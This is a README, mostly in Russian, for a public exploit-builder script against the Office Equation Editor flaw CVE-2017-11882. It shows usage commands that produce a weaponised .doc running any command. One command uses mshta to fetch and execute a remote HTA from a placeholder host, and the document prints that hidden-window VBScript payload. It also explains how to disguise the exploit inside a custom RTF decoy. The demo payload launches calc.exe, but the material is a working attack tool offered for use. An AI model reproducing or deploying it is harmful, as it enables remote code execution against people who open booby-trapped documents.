CVE-2017-11882

43b Оригинальный скрипт из https://github.com/embedi/CVE-2017-11882

109b Оригинальный скрипт из https://github.com/unamer/CVE-2017-11882/ (Респект, теперь код unamer может выполнять shellcode~)

CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/

MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882

Research: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about

Patch analysis: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html

DEMO PoC exploitation: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410

Usage

python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc

использование mshta

python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc

abc

<HTML> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD> 
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD> 
</HTML> 

Длина команды для 43b не должна превышать 43 байта, для 109b - не более 109 байт.

Sample exploit for CVE-2017-11882 (starting calc.exe as payload)

example folder holds an .rtf file which exploits CVE-2017-11882 vulnerability and runs calculator in the system.

О пользовательском содержимом

На самом деле, метод пользовательского содержимого я узнал от других мастеров, давно написал скрипт, но не планировал публиковать. Однако увидел, что кто-то в группе уже выложил, так что пришлось опубликовать. На самом деле способ очень прост: нужно открыть обычный RTF-документ в текстовом редакторе, скопировать всё содержимое до {*\datastore, заменить всё до {\object\objautlink\objupdate. Так что в скрипте это реализовано очень просто.

Способ добавления пользовательского содержимого, выберите любой скрипт:

python Command109b_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc -i input.rtf

Пользовательское содержимое находится в input.rtf.

Что касается последнего скрипта эксплойта на 605 байт от unamer, обновлять его не буду, при желании можете изменить сами.